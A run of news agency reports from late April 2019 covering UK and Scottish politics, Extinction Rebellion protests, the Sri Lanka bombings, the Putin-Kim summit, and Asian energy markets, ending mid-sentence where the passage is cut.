Chapman said: Im delighted and honoured to have the opportunity to lead the positive Green campaign for a just and welcoming Scotland at the heart of Europe. Scottish Greens have been fighting to keep Scotland where it belongs at the heart of the EU in recent years and Ill offer the people of Scotland the chance to choose our positive message of hope, and elect Scotlands first Green MEP. The climate crisis is the biggest threat facing humanity and will be my top priority if elected to represent Scotland in the European Parliament. I hope to join the many other fantastic European Greens in this fight. The Green MSPs are leading the change at Holyrood, putting the climate emergency at the top of the parliaments agenda, and I look forward to working with them, and with Green colleagues across Europe to deliver a Green New Deal which will create hundreds of thousands of jobs in Scotland and millions across the continent. Scottish Greens co-convenor Patrick Harvie MSP said: Maggie has a proven track record as an effective campaigner and Im delighted shes been elected to top our list of talented candidates. I look forward to supporting her over the coming weeks as we work to elect Scotlands first Green MEP. Sri Lankas former navy chief says the father of two of the Easter suicide bombers has been arrested on suspicion of aiding his sons. Jayanath Colombage, who now is a counter-terrorism expert at the Pathfinder Foundation, confirmed the arrest to reporters. Sri Lankan police could not immediately be reached for comment. Sundays co-ordinated suicide bombings targeted three churches and three hotels, killing at least 359 people and wounding 500 more. Authorities have blamed a local group, National Towheed Jamaat, for the attack. The group was previously only known for vandalising Buddhist statues and for the extremist online sermons of its leader, alternately named Mohammed Zahran or Zahran Hashmi. Sri Lankan air force officers and clergy stand outside St Anthonys Shrine (Gemunu Amarasinghe/AP) On Tuesday, the Islamic State group said it carried out the assault, bolstering its claim by publishing images of Zahran and others pledging loyalty to IS leader Abu Bakr al-Baghdadi. Climate change activists who glued themselves to the London Stock Exchange and climbed on top of a train have been removed by police. The Extinction Rebellion (XR) demonstrators glued themselves to entrances to the exchange in the City of London wearing LED signs reading climate emergency, tell the truth and you cant eat money. In another London financial district, protesters climbed on top of a Docklands Light Railway train at Canary Wharf station in east London, holding signs saying business as usual = death and dont jail the canaries. British Transport Police (BTP) officers used ropes, harnesses and ladders to take down the five XR protesters who climbed onto a train at Canary Wharf, including 83-year-old grandfather Phil Kingston. Police remove Extinction Rebellion protesters from the entrances of the London Stock Exchange (Isabel Infantes/PA) The force said five people had been arrested on suspicion of obstructing the railway. In a statement BTP added: Shortly after 7.15am this morning officers from BTP were called to Canary Wharf station after a number of protesters climbed on top of a Docklands Light Railway (DLR) service. Specialist units trained in protester removal were immediately deployed and have now safely removed those obstructing the DLR service. Police have also removed XR protesters who glued themselves across entrances to the London Stock Exchange and transferred them to police vans nearby. The London Stock Exchange said the markets were all open as normal. XR said its action in the City of London was likely to last a few hours, on the day the group is due to end blockades at Parliament Square and Marble Arch. The campaign group is also planning a number of swarming protests around the City of London throughout Thursday, including dozens of activists demonstrating outside Goldman Sachs offices in Fleet Street. An XR spokeswoman said the area is being targeted because the financial industry is responsible for funding climate and ecological destruction and we are calling on them, the companies and the institutions that allow this to happen, to tell the truth. She added: And were asking the Government to take action to address the climate emergency. The eco-protesters have been urging ministers to declare a climate emergency to avoid what it calls a sixth mass extinction of species on Earth. In a statement announcing the end of its action XR said: We would like to thank Londoners for opening their hearts and demonstrating their willingness to act on that truth. We know we have disrupted your lives. We do not do this lightly. We only do this because this is an emergency. Extinction Rebellion protesters at the entrance of the London Stock Exchange (Isabel Infantes/PA) The group also said the public should expect more action very soon, adding there will be a closing ceremony at Speakers Corner in Hyde Park on Thursday at 5pm. More than 1,000 people have been arrested during the protests which started on April 15, while more than 10,000 police officers have been deployed. The action has seen Waterloo Bridge and Oxford Circus blocked and a die-in at the Natural History Museum. All protesters have now been safely removed from the DLR. Five people have been arrested. https://t.co/P9TZrbVTaJ British Transport Police (@BTP) April 25, 2019 A Transport for London spokesman said: We are aware that there are demonstrations taking place across London which may cause disruption to travel. The safety of our customers and staff is our number one priority and were working closely with the police to manage the impact on Londons transport network. We would encourage people to check their journeys before they travel. Independence supporters are delusional if they expect a second Scottish referendum to take place in the near future, a former Scottish Government minister has said. While Nicola Sturgeon announced she will push ahead with plans for an independence vote before the next Holyrood elections in May 2021 if the UK quits the European Union, former justice secretary Kenny MacAskill said the First Minister was tying to appease SNP activists ahead of the partys upcoming conference. SNP members are due to gather in Edinburgh this weekend, and with Brexit uncertainty continuing to plague the UK Government, the First Minister has been under pressure to name a date for a second ballot. On Wednesday she confirmed to MSPs she will push ahead with plans for a second Scottish independence referendum within the next two years if the UK quits the EU. But Mr MacAskill said: Holding another referendums problematic and those expecting an immediate poll delusional. Former justice secretary Kenny MacAskill with First Minister Nicola Sturgeon. (Andrew Milligan/PA) Ms Sturgeon has pledged new legislation, laying down the rules and regulations for a second independence vote, will be introduced to Holyrood shortly. But in addition to that she announced she wants cross-party talks with opposition leaders about Holyroods powers, while a Citizens Assembly is also to be set up, to examine wider questions on Scotlands future Writing in The Scotsman, Mr MacAskill said: Rather than seeking to maximise Scotlands restricted hand, its to be another round of discussion and attempts at consensus building. He stated: The talk of a poll before 2021 initially sounds positive but its heavily caveated and restricted by other factors. Will the UK have resolved its EU position by then? If that has been settled, can a poll even be carried out in time? But it allows her to reassure the party this weekend that shes undaunted and the light undimmed. However Finance Secretary Derek Mackay said Ms Sturgeon was trying to keep the countrys options open in the face of a Westminster Government that does not give a damn for the people of Scotland. And he insisted the SNP leader was fulfilling the mandate that if Scotland was taken out of the EU against Scotlands will that we would have a right to have a referendum. Speaking on BBC Radio Scotlands Good Morning Scotland programme, the Finance Secretary said: Scotland has to have its options open, we have to have the right to choose our future rather than leave it in the hands of Westminster, who have shown they do not give a damn for the people of Scotland. On the offer of cross-party talks, he said Ms Sturgeon was trying to reach out to other opposition parties, to say if not this then what and try to identify a way forward. And he said: Were putting in the foundations to enable referenda to happen and in terms of independence ensure that we have that choice in this term of the Scottish parliament, fulfilling a mandate that ultimately the SNP has won elections on. The unprecedented leak of talks involving senior ministers and spy chiefs on the involvement of the Chinese tech giant Huawei in the UKs 5G network has caused anger and dismay in Whitehall. While unauthorised leaks of Cabinet discussions on Brexit have become commonplace in recent months, the deliberations of the National Security Council (NSC) have remained watertight. So when the Daily Telegraph reported the NSC had agreed that Huawei should be allowed a limited role in building the 5G network there was concern the body dealing with some of the most sensitive matters in government had been compromised. MPs were quick to link the disclosure to manoeuvrings at Westminster by senior Tories to position themselves for a leadership run when Theresa May steps down or is forced out by her turbulent party. Sir Mark Sedwill (PA) Ten members of the Cabinet attend NSC meetings which are chaired by the Prime Minister together with National Security Adviser Sir Mark Sedwill, his two deputies, and the heads of MI5, MI6 and GCHQ. The Telegraph report suggested five of the ministers Sajid Javid, Jeremy Hunt, Gavin Williamson, Liam Fox and Penny Mordaunt had voiced misgivings about the Huawei decision. It prompted suggestions that whoever was responsible for the leak was trying to make themselves look tough on China, knowing that many Conservative MPs harbour concerns about Chinese involvement in the UKs critical national infrastructure. Mr Javid, the Home Secretary, and Mr Hunt, the Foreign Secretary, have long been seen as potential candidates in any leadership contest. Jeremy Hunt and Sajid Javid are among the ministers reported to have raised concerns (Stefan Rousseau/PA) However Defence Secretary Mr Williamson is also reported to nurse ambitions for the top job. The former chief whip was said to have been angered by a report last year claiming he had been overheard plotting against Mr Javid and Mr Hunt while discussing his own prospects of succeeding Mrs May. He caused consternation with a speech in February when he announced his intention to send the Royal Navys new aircraft carrier HMS Queen Elizabeth to the Pacific to challenge Chinese territorial ambitions. His intervention infuriated the Chinese, resulting in the cancellation of a planned visit to Beijing by Chancellor Philip Hammond. Gavin Williamson (Joe Giddens/PA) Dominic Grieve, chairman of the parliamentary Intelligence and Security Committee, said the leak of the NSC discussions was deeply worrying and that if any minister was found to be responsible they should be sacked. He said collective Cabinet responsibility appeared to be breaking down and acknowledged it could be linked to the manoeuvrings around the Conservative leadership. The principle that what is discussed at the NSC is kept totally confidential is really important, he told the BBC. The problem that we have at the moment is that collective Cabinet responsibility has been breaking down and we have seen plenty of leaks come out of Cabinet meetings. There has certainly been some posturing around on a whole range of issues. I cant pretend that there arent people who appear to be preparing themselves for leadership bids. None of this is in the national interest, in my view. A man who tried to murder a two-year-old boy while looking after him has been jailed for eight years and seven months. David McMullen, 35, assaulted the toddler by inflicting blunt force trauma to his abdomen by unknown means at a property in Cambuslang, South Lanarkshire, on December 21 2016. He was found guilty following a trial at the High Court in Glasgow. Sentencing McMcullen at the court on Thursday, Lord Armstrong said the trial had heard the force necessary to cause that type of injury was equivalent to a road traffic accident. He said the boy would undoubtedly have died if not for the expert care he received at the Queen Elizabeth University Hospital in Glasgow, where he was treated. Lord Armstrong said: You have been found guilty after trial of the attempted murder of a two-year-old toddler who could not yet speak by the infliction of blunt force trauma to his abdomen. The 35-year-old was sentenced at the High Court in Glasgow (David Cheskin/PA) The little boy was vulnerable simple by nature of his age. He had been left in your sole care. He added: You continue to deny any responsibility for the attack and display no remorse or regret. Gordon Jackson QC, representing McMullen, said the child had suffered no lasting damage and had made a complete and total recovery. He said the childs mother is extremely supportive of the 35-year-old. Mr Jackson said: In any view this was a single blow that was struck, it was not a sustained violence over a period, it was very much a single blow. Mr McMullen was keen to get medical help and was clearly distressed at the hospital. He added: All in all this is a very tragic business only lightened by the fact that the child has not suffered any lasting damage and he has the support of the childs mother. Ross McEwans departure from Royal Bank of Scotland marks the end of an era for the taxpayer-owned lender as it moves on from a torrid past decade. The 61-year-old New Zealander took over in October 2013, when RBS was still suffering the aftershocks of its 45 billion taxpayer bailout in 2008 at the height of the financial crisis. When he took the helm, it was more than 80% owned by the Government, but the taxpayers stake has since reduced to 62.4%. One of his challenges was to prepare the bank to be returned to private hands a task still not complete, but with progress being made. To this end, he has presided over a return to profit at RBS, which in February reported its second successive year in the black and announced a 1.6 billion final dividend, resulting in a near 1 billion windfall for the taxpayer. RBS chairman Sir Howard Davies said his efforts have helped deliver one of the biggest UK corporate turnarounds in history. Ross McEwans departure from Royal Bank of Scotland marks the end of an era for the taxpayer-owned lender as it moves on from a torrid past decade (Andrew Milligan/PA) But the banks scandal over its treatment of small businesses marked a black spot on his tenure. RBS saw its reputation suffer after its notorious turnaround unit, the Global Restructuring Group (GRG), was accused of deliberately pushing firms towards failure in the hope of picking up assets on the cheap. The group and its senior management escaped action over the scandal, after the Financial Conduct Authority concluded GRGs activities were not within its remit and that its powers did not apply. Michael Hewson, chief market analyst at CMC Markets, said: While the timing is surprising, McEwan can consider the past few years a job well done, with the underlying business profitable, and most legacy issues in the rear view mirror. RBS is undoubtedly in better shape than when he joined, and while one can legitimately question some of the banks actions in terms of responsibility over what happened with the banks GRG unit, the bank is on a much more solid foundation than when he took over, he added. During his time in the top job, Mr McEwan has also resolved most of the outstanding penalties and fines that had hung over the group. It struck a 4.9 billion US dollar (3.8 billion) settlement with US authorities last year over claims that it mis-sold mortgages in the run-up to the financial crisis. That opened the door for it to resume paying dividends last August in a milestone move for RBS. But Mr McEwan was seen as the nearly man of Australian banking before his ascent to the top of RBS. His appointment as chief executive in 2013 came two years after a surprise decision saw him passed over in the race to become head of Commonwealth Bank of Australia (CBA). Mr McEwan, who was head of CBAs retail business, was widely seen as having been groomed for the role. The married father-of-two then accepted an offer to become head of RBSs retail arm in 2012. The resignation in 2013 of Stephen Hester amid claims of political interference paved the way for Mr McEwan to take charge. The Kiwi had previously worked in the insurance and investment industries for more than 25 years, including as managing director of stockbroking business First NZ Capital Securities and chief executive of AXA New Zealand. The Duke of Cambridge has visited a young survivor of the Christchurch mosque attacks at her hospital bedside after she woke from a coma earlier this week. Five-year-old Alen Alsati was badly hurt in the shootings last month alongside her father Wasseim. She was visited by William at an Auckland hospital on Thursday as part of the dukes two-day visit to New Zealand. Kensington Palace tweeted a touching video of the private meeting, which showed William sitting on the edge of her bed at Starship Childrens Hospital. Do you have a daughter? Alen asked inquisitively. Yes, said William, shes called Charlotte. Shes about the same age as you. The Duke of Cambridge (Richard Stonehouse/PA) Alen and her father were among the dozens of people injured when a gunman opened fire during Friday prayers at two mosques on March 15. Fifty people were killed in the shootings. The Duke of Cambridge meets Muslim community leaders in Christchurch to thank them for their work bringing the community together following the Christchurch mosques terrorist attack. pic.twitter.com/HjCgNdDnM3 The Duke and Duchess of Cambridge (@KensingtonRoyal) April 25, 2019 After meeting Alen, William flew to Christchurch to meet police and first responders who were among the first on the scene of the attacks. He later had a private meeting with Muslim community leaders, thanking them for bringing the community together after the tragedy. The duke is due to meet more of those affected by the attacks on the final day of his trip on Friday. Iran has backed away from reports that jailed charity worker Nazanin Zaghari-Ratcliffe could be released as part of a prisoner swap. Iranian foreign minister Javad Zarif had appeared to suggest the British-Iranian mother could be freed in exchange for an Iranian woman held in Australia on a US extradition request. However, in a subsequent interview, he clarified his earlier comments, saying Mrs Zaghari-Ratcliffe was a separate case from those prisoners held at the behest of the Americans. The offer that I made was people who have been in prison either in the United States or elsewhere in the world on American request. But the Iranian-British woman is a separate case, he told Reuters. Foreign minister Javad Zarif has backed away from a prisoner swap (Richard Drew/AP/PA) Downing Street confirmed that the Government had not received any approach from Tehran about a possible prisoner exchange. The treatment of all British-Iranians detained in Iran, including Nazanin Zaghari-Ratcliffe, is a priority for the Government, the Prime Ministers official spokesman said. We remain concerned about all of our consular cases and raise them at every level and every opportunity. Earlier, speaking to the Asia Society in New York on Wednesday, Mr Zarif appeared to link the case of Mrs Zaghari-Ratcliffe who is serving a five year prison sentence for spying, a charge she vehemently denies with that of the woman held in Australia. Now we hear about Nazanin Zaghari and her child, and I feel sorry for them and I have done my best to help, but nobody talks about this lady in Australia who gave birth to a child in prison whose child is growing up outside prison with mother in prison, he said. So, what can I do as a foreign minister? And I put this offer on the table publicly now. Exchange them. Russias President Vladimir Putin said after his summit with Kim Jong Un that the North Korean leader is ready to proceed toward denuclearisation but needs solid security guarantees to do so. Mr Putin said that he will be willing to share details of the summit with US President Donald Trump, adding that there are no secrets. He noted that Mr Kim himself encouraged him to explain certain nuances of Pyongyangs position to Mr Trump. The summit on Russky Island, across a bridge from the far-eastern port city of Vladivostok, reflected Russias effort to emerge as an essential player in the North Korean nuclear stand-off, a role that would raise Moscows global clout and its leverage with Washington. Russian President Vladimir Putin presents a Korean sword to North Koreas leader Kim Jong Un (Alexei Nikolsky/AP) Mr Putin emphasised that the North Korean leader is ready to move toward a nuclear-free status but would only proceed when he gets solid guarantees. He did not, however, specify what those guarantees would look like. Above all, he focuses on protecting national interests and security, Mr Putin said. Earlier in the day, Mr Putin voiced confidence that Mr Kims visit will help better understand what should be done to settle the situation on the Korean Peninsula, what we can do together, what Russia can do to support the positive processes going on now. Mr Kims meeting with Mr Putin follows a year of intense diplomacy the North hopes will help it get out from under international sanctions over its nuclear weapons and long-range missile programmes. Mr Kim has already held four summits with Chinese President Xi Jinping, three with South Korean President Moon Jae-on and two with President Donald Trump. Mr Kims second summit with Mr Trump in February ended without any agreements, and his trip to Russia reflects his desire to put more pressure on Washington and show some independence from Beijing as well. For Mr Putin, the meeting offers a chance to increase his role as a potential broker. He immediately emphasised that he was willing to share details of the talks with Mr Trump. The Russian leader emphasised that Moscow and Washington both want Pyongyang to denuclearise. When he sat down for talks with Mr Kim, he praised him for engaging in dialogue with the US. We welcome your efforts to develop an inter-Korean dialogue and normalise North Koreas relations with the United States, Mr Putin told Mr Kim. Following their one-on-one meeting at the start of broader talks involving officials from both sides, Mr Putin and Mr Kim said they had a good discussion. We discussed the situation on the Korean Peninsula and exchanged opinions about what should be done to improve the situation and how to do it, Mr Putin said. Russian President Vladimir Putin, right, toasts North Koreas leader Kim Jong Un (Alexei Nikolsky/AP) Mr Kim described the talks as candid and meaningful. The reason we visited Russia this time is to meet and share opinions with your excellency, President Putin, and also share views on the Korean Peninsula and regional political situation, which has garnered the urgent attention of the world, and also hold deep discussions on strategic ways to pursue stability in the regional political situation and on the matters of jointly managing the situation, Mr Kim said. Mr Kim also congratulated the Russian leader on his re-election to another six-year term last year. Ceaselessly bolstering and developing strategic and traditional relations between North Korea and Russia is my and my governments firm and unwavering position, Mr Kim said later at a state banquet, where he made a toast. Since the Trump-Kim talks in February ended without a deal because of disputes over US-led sanctions, there have been no publicly known high-level contacts between the US and North Korea although both sides say they are still open to a third summit. Mr Kim wants the US to ease the sanctions to reciprocate for some partial disarmament steps he took last year. But the US maintains the sanctions will stay in place until North Korea makes more significant denuclearisation moves. North Korea has increasingly expressed frustration at the deadlocked negotiations. Last week, it demanded US secretary of state Mike Pompeo be removed from the talks and strongly criticised national security adviser John Bolton. The President of Russia held talks with DPRK leader Kim Jong-un on Russky Island https://t.co/x4TqR46cW7 pic.twitter.com/JNLRG5sHif President of Russia (@KremlinRussia_E) April 25, 2019 In Seoul, Mr Moon said on Thursday he will try to hold a fourth summit with Mr Kim and facilitate the resumption of US-North Korea talks. Mr Kim arrived in Vladivostok Wednesday aboard his private train and offered what is possibly his first interview ever with a foreign media outlet. He told Russian state television that he was hoping that his first visit to Russia would successful and useful. He evoked his fathers great love for Russia and said that he intends to strengthen ties between the two countries. The late Kim Jong Il made three trips to Russia, the last time in 2011. Like the US, Russia has strongly opposed Pyongyangs nuclear bid. Moscow was part of six-nation talks on the North Korean standoff that fell apart after Pyongyangs withdrawal in 2009. Mr Putin said he was not sure if the talks could be revived, but he emphasised that international involvement will be needed to discuss guarantees for Pyongyang. Dmitri Trenin, the director of the Carnegie Moscow Centre, said ahead of Thursdays talks that Mr Putin will likely encourage Kim to continue constructive talks with the US, reflecting Russias own worry about the North nuclear and missile programmes. Russia cant be expected to side with North Korea and, lets say, support the North Koreans all the way in the Security Council, he said. Mr Trenin said Moscow doubts the North could be persuaded to fully abandon its nuclear weapons, considering that a mission impossible. Russian President Vladimir Putin, right, and North Koreas leader Kim Jong Un (Alexander Zemlianichenko/AP) North Korea will not give up the only guarantee of the survival of the North Korean state and its regime, Mr Trenin said. Russia would also like to gain broader access to North Koreas mineral resources, including rare metals. Pyongyang, for its part, covets Russias electricity supplies and investment to modernise its dilapidated Soviet-built industrial plants, railways and other infrastructure. Vladivostok, a city of more than half a million on the Sea of Japan, faced gridlock on its roads as traffic was blocked in the city centre due to Mr Kims visit. The authorities have temporarily closed the waters around Russky Island to all maritime traffic. Mr Kim was expected to return to Pyongyang on Friday. An inquiry into the abuse of children in care in Scotland should be extended to include victims at state schools, MSPs have heard. Speaking to the Scottish Parliaments Petitions Committee on Thursday, campaigner Maryanne Pugley said by excluding victims, the pain caused would be compounded and passed on to the next generation. Ms Pugsley has also called for a review of the law of corroboration, which means two separate sources of evidence are needed for a case to go to trial. Speaking of her own experiences, Ms Pugley told MSPs she was sexually and emotionally abused by a teacher in a state school in Scotland between the ages of 12 to 15 in the late 1970s. She said it was not until the 1990s, when she was in her mid-20s, that she realised that what she had experienced was child abuse. After the case was reported to the local authority, an in-house investigation was launched, although it was not reported to police. Ms Pugley said the accused was suspended for a few months before being moved to another local authority, where he continued to teach until around six to seven years ago. She said when she attempted to establish what the outcome of the investigation was and whether there would be a prosecution, she said she was told there was not enough evidence for the procurator fiscal. In 2016, Ms Pugley said she summoned the courage to revisit the abuse to try to make sense of what had happened. Lady Smith chairs the Scottish Child Abuse Inquiry (Nick Mailer/PA) After phoning the in-care inquiry, Ms Pugley said she was told she did not meet the necessary criteria. She then phoned a charity in Edinburgh, who signposted her to police, which resulted in the launch of another investigation. Ms Pugley said that at every point of the investigation, she was having to relive the sexual and emotional abuse she had suffered. A finding concluded police had no previous record of the case being reported to them in the 1990s, with no written records held by the local council or the reason why the accused was relocated. Ms Pugley warned failings in the system could mean abusers who are retired or are out of the state schools system could potentially still be tutoring or working with vulnerable children. She said: As as adult, I have worked in schools and I consider it my civic duty to raise this petition. I have reached out to so many in trying to seek justice asking for help with this petition and I have received very little support. I tried to find a Victims Commissioner in Scotland, but to no avail, and ended up writing to the Victims Commissioner of England and Wales, Baroness Newlove. She said: I cannot turn my back on the failings that, to me, seem blatantly obvious and have the potential to affect vulnerable children, not only due to the gaps that had been in our safeguarding procedures, but because those that have been victims of child abuse need to have their voices heard. To be told that you do not meet the criteria of the current inquiry, nor are you eligible to apply for the support that is offered alongside it is very damaging. This exclusion is only going to compound the pain that will be carried over to the next generation. Responding to suggestions the inclusion of state school abuse cases could lengthen the time taken for the inquiry, Ms Pugley said it is important that all victims of abuse are listened to. She said: When it comes to children and when it comes to our schools, I think it has to be prioritised because were talking about our next generation. I dont think its something that as a nation we can ignore. If youre not listened to, you stay feeling the victim. I believe very, very strongly that as a society we have to enable those victims to come forward and make that transition into a survivor and the only way, as I can see it, you can do it is to give them a voice. Ms Pugley added: If we do not have this inquiry, were not going to be able to truthfully say that we have found every predator out there. My case proved that there was still someone in the system. The public are to be prevented from watching the UKs national commemorations of the 75th D-Day anniversary because of a double-layered solid fence being erected to protect US President Donald Trump. A political row broke out after it was announced that Mr Trump would attend the event to mark the anniversary of the D-Day landings in Portsmouth, Hampshire, as part of his state visit to the UK. Gerald Vernon-Jackson, the Liberal Democrat leader of Portsmouth City Council, has said that the US president had not been invited and should not attend because he would take the attention away from the veterans. Update about new security measures for DDay 75. All of Southsea Common will be fenced off with searches to get in. Area around War Memorial for DDay ceremony to have extra solid steel fence around it for invite only event. Site for protesters near Pyramids @LoveSouthseaUK Gerald Vernon-Jackson (@geraldvjuk) April 25, 2019 He has now revealed that the event will have to be surrounded by a two layers of security fencing, preventing uninvited members of the public from being able to watch the ceremony on Southsea Common also being attended by the Queen. He said the only way for people to be able to see the proceedings would be on big screens put up on the common or at home on television. Mr Vernon-Jackson explained that the security measures were being ramped up from those originally planned when the monarch was the only world leader expected to attend. Donald Trump is heading to the UK (Brian Lawless/PA) He added that heads of state of the 14 nations involved in D-Day, as well as the German Chancellor Angela Merkel, had subsequently all been invited. He said: The whole of Southsea Common will be fenced in which is a large area, part of it will be set aside for protesters because we have to be realistic that protesters will be there. The ceremony itself will be behind solid steel barrier walls so people wont be able to see into it and it will now be invite-only. It is a significant increase of security, its a very different level. He added: My worry is that instead of the focus being on the veterans and the commemorations, the focus will be on the protests and it will be a very different occasion to which we envisaged. I do not want any protests that will take away from the commemorations, there may be other occasions where it will be appropriate to have protests but I do not think it is an appropriate occasion. The British and Irish governments have launched a new round of political talks and called for new thinking to re-establish devolved powersharing in Northern Ireland. Negotiations are expected to take place as soon as possible after local council elections in Northern Ireland on May 2. All the main parties will be invited. On Wednesday, Catholic peacemaking priest Father Martin Magill challenged politicians as to why it had taken the death of 29-year-old Lyra McKee shot by dissident republicans to unite them, at her funeral. The order of service at the funeral of murdered journalist Lyra McKee (Liam McBurney/PA) Prime Minister Theresa May and Irish Taoiseach Leo Varadkar said: We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. We agree that what is now needed is actions and not just words from all of us who are in positions of leadership. The institutions have been suspended for more than two years following a row between former governing partners the DUP and Sinn Fein. Endless rounds of negotiations failed to break the deadlock. Sinn Fein has rejected DUP leader Arlene Fosters latest offer to move the political impasse in Northern Ireland. The British and Irish premiers said: We have agreed to establish a new process of political talks, involving all the main political parties in Northern Ireland, together with the UK and Irish governments, in accordance with the three stranded process. The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement the Northern Ireland Executive, Assembly and North-South Ministerial Council so that they can effectively serve all of the people for the future. Northern Ireland Secretary Karen Bradley and Irish Minister for Foreign Affairs Simon Coveney are expected to hold a press conference later on Friday in Belfast. The Prime Minister and Taoiseach added: We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues. As Prime Minister and Taoiseach, we are determined to work together to ensure this process comes to a successful conclusion. They will review progress at the end of May. They also agreed that there should be a meeting of the British-Irish Intergovernmental Conference during the same period. The conference will consider East/West relations, security co-operation, and political stability in Northern Ireland. Mrs Foster wants a twin-track approach where the devolved institutions are restored quickly to deal with issues like running the health service, while a separate process addresses disagreements like that over same-sex marriage. Sinn Fein deputy leader Michelle ONeill has rejected that and said issues like marriage equality and protection for the Irish language need to be delivered to pave the way for restoration of the devolved institutions. By Drazen Jorgic ISLAMABAD, April 26 (Reuters) - Qatar has emerged as the front-runner for a long-term gas supply deal to Pakistan, a senior Pakistani official said on Friday, with the cabinet of Prime Minister Imran Khan set to decide in the coming weeks on an agreement. Pakistan, with 208 million people, is running out of domestic gas and has turned to liquefied natural gas (LNG) imports to alleviate chronic energy shortages that have hindered its economy and led to a decade of electricity blackouts. Qatar is already Pakistan's biggest gas supplier after signing a 15-year agreement to export up to 3.75 million tonnes of LNG a year to the South Asian country. That 2016 deal supplied Pakistan's first LNG terminal. Emerging as one of the world's fastest growing LNG markets, Pakistan is looking to secure a long-term supply contracts for its second LNG terminal, which can receive 600 million cubic feet per day (mmcfd) of natural gas. Pakistan has already signed a five-year import deal with commodity trader Gunvor and a 15-year agreement with Italy's Eni, but is seeking long-term agreements for about 400 mmcfd. Pakistan has been negotiating with eight countries with whom it has signed inter-governmental agreements in recent years, including Qatar, Russia, Turkey, Italy, Oman, Azerbaijan, Malaysia, and Indonesia. A Saudi Arabian delegation representing state-owned Saudi Aramco has also shown interest in a gas deal. The senior Pakistani official told Reuters that state-run Qatargas put forward the lowest bid for a long-term LNG supply contract that would have a price review after five or 10 years. "Qatar has offered the lowest price," said the official, declining to say the amount of LNG or the price offered by Qatar. Pakistan's cabinet is in the next week or two expected to decide if it will proceed with a government-to-government deal, when it will also decide on the size, he said. Cash-strapped Pakistan is most likely to go with the cheapest supplier, in this case Qatar, officials have said. However, the government may choose more expensive rates to bolster its relations with a chosen country. Khan's cabinet could also choose to put out an open tender for long-term agreements, said the senior official. However, some energy officials believe direct government-to-government deals could offer better rates than tendering. The Pakistani official added that Saudi Aramco may sign a long-term supply deal with Pakistan, potentially also providing some of the 400 mmcfd available at the second terminal. (Reporting by Drazen Jorgic; editing by Christian Schmollinger) By Tom Daly BEIJING, April 26 (Reuters) - Major European Union countries want to deal with China as a group rather than sign bilateral agreements as individual states, German Economy Minister Peter Altmaier said on Friday, attending a summit in Beijing on China's Belt and Road plan. European countries have generally signalled their willingness to participate in China's programme to re-create the old Silk Road joining China with Asia and Europe. But key states like France and Germany have said China must in turn improve access and fair competition for foreign firms. Italy in March became the first major Western government to back China's initiative, even as some EU leaders cautioned Rome against rushing into the arms of Beijing. Nonetheless, Altmaier said Germany, France, Spain and the United Kingdom had shown at the Belt and Road Forum in Beijing on Friday that the EU was "in its great majority" united in its belief that "we can only implement our positions together." "In the big EU states we have agreed that we don't want to sign any bilateral memorandums but together make necessary arrangements between the greater European Economic Area and the economic area of Greater China," Altmaier said when asked if he could see Germany signing a similar bilateral agreement to Italy. A spokesman for Altmaier's office later said he was talking about general arrangements and not specifically the Belt and Road. The minister said he was encouraged by Chinese President Xi Jinping's pledge to pursue free trade, multilateralism and sustainability as part of Belt and Road. "We will take this promise seriously" and make suggestions on how to achieve these goals in both Asia and Europe, he said. China is a partner and a competitor at the same time and the EU must define its interests, Altmaier said. "And for that we need an industry strategy. For that we need our own connectivity strategy," he added. (Reporting by Tom Daly; writing by Beijing Monitoring Desk; editing by Darren Schuettler) By Jane Chung and Florence Tan SEOUL/SINGAPORE, April 26 (Reuters) - South Korea will likely return to a familiar game plan to replace Iranian oil it will no longer have access to after May now that the United States intends to tighten sanctions on Iranian exports. South Korea is the biggest buyer of Iranian condensate, an ultra-light oil prized by the country's refiners as a raw material for petrochemicals manufacturing. SK Incheon Petrochem Co Ltd, Hyundai Oilbank Corp and Hanwha Total Petrochemical are set to once again scan the world for alternative, but more expensive, condensate supplies and snap up heavy naphtha oil products for their processing units, known as splitters, industry sources and analysts said. Last year, South Korea bought and tested as many as 23 different types of condensate from 15 countries as possible substitutes for Iranian condensate, at a cost of about $9 billion, government and trade data analysed by Thomson Reuters showed. South Korean petrochemical makers bought condensate from gas fields in Africa and Europe and even picked up an obscure cargo from Tunisia, in addition to tapping more supplies from Qatar, Saudi Arabia, the United States and Australia. South Korean splitters are designed to process condensate from Qatar and Iran which are low in sulphur and produce no residue. These grades also have a bigger yield for heavy naphtha, a raw material for the production of petrochemicals such as paraxylene, used in making plastics bottles. South Korean buyers have preferred Iranian condensate over Qatari condensate because of its relatively cheaper price. "Those who can bear the cost would make investments and switch their import sources, those who can't have to bite the bullet and use Qatari condensate," said Kim Jae-kyung, research fellow at the Korea Energy Economics Institute. This year South Korean refiners did not have to hunt as they made full use of the Iranian oil volumes allowed under the U.S. waivers by importing only Iranian condensate. Those waivers will expire on May 1. South Korea is on track to import about 249,000 barrels per day (bpd) of Iranian South Pars condensate by the end of April, 70 percent of the total volume of condensate it imported last year, the data showed, much more than it needs in the first half of 2019. The country's condensate demand has also fallen in the first half of this year as refiners cut runs at splitters on poor naphtha margins and as Hanwha Total shut a splitter for maintenance, the sources said. TO PULL IN MORE NAPHTHA SK and Hanwha Total may replace condensates by buying more heavy naphtha, a raw material for petrochemicals. Low naphtha prices could help repeat a spike in imports that happened in late 2018. Hanwha Total, which operates two condensate splitters, last year raised its monthly average imports of heavy naphtha to 400,000 tonnes from 250,000 tonnes in the absence of Iranian condensate. Spot premiums of the fuel rose to multi-year highs last year after South Korea imported a record 20 million barrels of naphtha in December. "Stronger demand for heavy full-range naphtha should happen although it could happen at a lesser extent versus last year because refineries in general are using more light crude. Buyers in South Korea may also have gotten some alternative condensates to Iranian grades," said an industry source who tracks both markets. ARBITRAGE SUPPLIES To help refiners source alternative supplies, the South Korean government plans to extend freight rebates for shipments of non-Middle East crude to the end of 2021, South Korea's energy ministry said on its website in mid-April. The United States, with its record growth in light oil production, would be an ideal supplier to replace condensates but quality issues have thrown South Korean buyers off. "They've (South Korean refiners) raised some issues with respect to quality control in the context of U.S. production and in the way U.S. condensates are marketed," Assistant Secretary of State for Energy Resources Frank Fannon told reporters on Thursday. "We would really encourage the respective companies at issue, or other exporters, as well as the potential buyers in the private sector in Korea to engage one another." To import more U.S. oil, SK Energy has expanded its trading team in Houston to three staff while Hyundai Oilbank plans to start an office there, three trade sources said. Still, buyers are concerned that the end of U.S. 